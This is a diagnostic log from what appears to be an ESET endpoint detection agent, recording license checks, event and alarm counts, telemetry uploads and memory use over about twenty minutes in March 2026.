2026-03-04 01:33:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:33:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:29:13, To:, 2026-03-04 01:33:34, Duration (s):, 261, Events Per Second:, 15.497, Events:, 4051, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3437, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 613, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462251
2026-03-04 01:33:38 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s873ms.
2026-03-04 01:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1481 KB; TcpIpConnectionsManager: 722 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 571 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 387 KB; BaseEvent: 136 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 37 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 7 KB; BatchStringTag: 0 KB; Total: 66121 KB;
2026-03-04 01:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1850 KB; TcpIpConnectionsManager: 709 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 377 KB; BaseEvent: 326 KB; BatchSerializer::EventsQueueTag: 88 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 7 KB; BatchStringTag: 0 KB; Total: 66676 KB;
2026-03-04 01:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2213 KB; TcpIpConnectionsManager: 754 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BaseEvent: 514 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 370 KB; BatchSerializer::EventsQueueTag: 138 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 67294 KB;
2026-03-04 01:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2574 KB; BaseEvent: 695 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 341 KB; BatchSerializer::EventsQueueTag: 185 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67679 KB;
2026-03-04 01:37:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:33:16, To:, 2026-03-04 01:37:05, Duration (s):, 229, Events Per Second:, 17.442, Events:, 4010, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3352, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 657, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454659
2026-03-04 01:37:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 01:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1618 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 349 KB; BaseEvent: 150 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 39 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66005 KB;
2026-03-04 01:38:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:38:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:38:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:38:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:38:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:38:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:38:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:38:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1991 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 534 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 372 KB; BaseEvent: 333 KB; BatchSerializer::EventsQueueTag: 88 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66630 KB;
2026-03-04 01:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2467 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; BaseEvent: 534 KB; ModuleMetadata: 506 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 30 KB; rules::ProcessConditionsCache: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 67097 KB;
2026-03-04 01:40:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2643 KB; BaseEvent: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 534 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 308 KB; BatchSerializer::EventsQueueTag: 166 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 30 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 8 KB; BatchStringTag: 0 KB; Total: 67614 KB;
2026-03-04 01:41:51 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:37:05, To:, 2026-03-04 01:41:50, Duration (s):, 285, Events Per Second:, 14.389, Events:, 4113, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3473, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 639, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 472395
2026-03-04 01:41:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s707ms.
2026-03-04 01:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1110 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 317 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 40 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 12 KB; BaseEvent: 5 KB; BatchSerializer::EventsQueueTag: 2 KB; BatchStringTag: 0 KB; Total: 65350 KB;
2026-03-04 01:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1508 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; ModuleMetadata: 506 KB; BaseEvent: 201 KB; rules::ProcessConditionsCache: 154 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 58 KB; BatchSerializer::EventsQueueTag: 53 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 16 KB; BatchStringTag: 0 KB; Total: 65868 KB;
2026-03-04 01:43:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:43:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:43:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:43:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:43:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:43:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:43:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:43:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2094 KB; TcpIpConnectionsManager: 770 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 557 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 506 KB; BaseEvent: 479 KB; rules::ProcessConditionsCache: 323 KB; BatchSerializer::EventsQueueTag: 133 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 30 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 14 KB; BatchStringTag: 0 KB; Total: 67174 KB;
2026-03-04 01:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2480 KB; TcpIpConnectionsManager: 887 KB; BaseEvent: 656 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 291 KB; BatchSerializer::EventsQueueTag: 182 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; ProcessInfoCommandLineTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 16 KB; BatchStringTag: 0 KB; Total: 67863 KB;
2026-03-04 01:45:20 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:40:55, To:, 2026-03-04 01:45:19, Duration (s):, 264, Events Per Second:, 15.400, Events:, 4070, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3503, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 566, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 478994
2026-03-04 01:45:25 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s874ms.
2026-03-04 01:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1816 KB; TcpIpConnectionsManager: 872 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 201 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BaseEvent: 59 KB; cloudutils::CloudData: 34 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 21 KB; BatchSerializer::EventsQueueTag: 19 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 66314 KB;
2026-03-04 01:46:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2063 KB; TcpIpConnectionsManager: 614 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; ModuleMetadata: 506 KB; BaseEvent: 169 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 52 KB; rules::ProcessConditionsCache: 48 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ExtendedTcpIpConnectionInfo: 13 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 66286 KB;
2026-03-04 01:47:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2308 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 551 KB; TcpIpConnectionsManager: 537 KB; ModuleMetadata: 506 KB; rules::ProcessConditionsCache: 330 KB; BaseEvent: 283 KB; ModuleInfoCache: 86 KB; BatchSerializer::EventsQueueTag: 85 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 13 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 66894 KB;
2026-03-04 01:48:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:48:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:48:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:48:10 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2756 KB; TcpIpConnectionsManager: 649 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleMetadata: 506 KB; BaseEvent: 498 KB; rules::ProcessConditionsCache: 344 KB; BatchSerializer::EventsQueueTag: 147 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ExtendedTcpIpConnectionInfo: 13 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 67722 KB;
2026-03-04 01:49:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:45:14, To:, 2026-03-04 01:49:26, Duration (s):, 252, Events Per Second:, 15.503, Events:, 3909, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 502, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 449147
2026-03-04 01:49:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s439ms.
2026-03-04 01:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1562 KB; TcpIpConnectionsManager: 757 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleMetadata: 506 KB; BaseEvent: 125 KB; rules::ProcessConditionsCache: 92 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 33 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 65882 KB;
2026-03-04 01:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1928 KB; TcpIpConnectionsManager: 772 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleMetadata: 506 KB; BaseEvent: 306 KB; rules::ProcessConditionsCache: 87 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 80 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 66486 KB;
2026-03-04 01:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2291 KB; TcpIpConnectionsManager: 645 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; ModuleMetadata: 506 KB; BaseEvent: 493 KB; BatchSerializer::EventsQueueTag: 130 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; rules::ProcessConditionsCache: 72 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 66941 KB;
2026-03-04 01:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2655 KB; BaseEvent: 676 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 519 KB; ModuleMetadata: 507 KB; BatchSerializer::EventsQueueTag: 177 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; rules::ProcessConditionsCache: 69 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67407 KB;
2026-03-04 01:53:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:53:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:53:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:53:11 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:53:19 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:49:25, To:, 2026-03-04 01:53:19, Duration (s):, 234, Events Per Second:, 16.908, Events:, 3962, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3137, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 78, Livegrid:, 78, OriginUrl:, 0, Alarms:, 668, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 437397
2026-03-04 01:53:21 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s375ms.
2026-03-04 01:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1490 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; TcpIpConnectionsManager: 524 KB; ModuleMetadata: 507 KB; BaseEvent: 112 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; rules::ProcessConditionsCache: 50 KB; cloudutils::CloudData: 34 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65515 KB;
2026-03-04 01:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1850 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 517 KB; ModuleMetadata: 507 KB; BaseEvent: 291 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::ProcessConditionsCache: 37 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66081 KB;
2026-03-04 01:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2216 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 519 KB; ModuleMetadata: 507 KB; BaseEvent: 479 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::ProcessConditionsCache: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66671 KB;
2026-03-04 01:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2577 KB; BaseEvent: 659 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 517 KB; ModuleMetadata: 507 KB; BatchSerializer::EventsQueueTag: 172 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67244 KB;
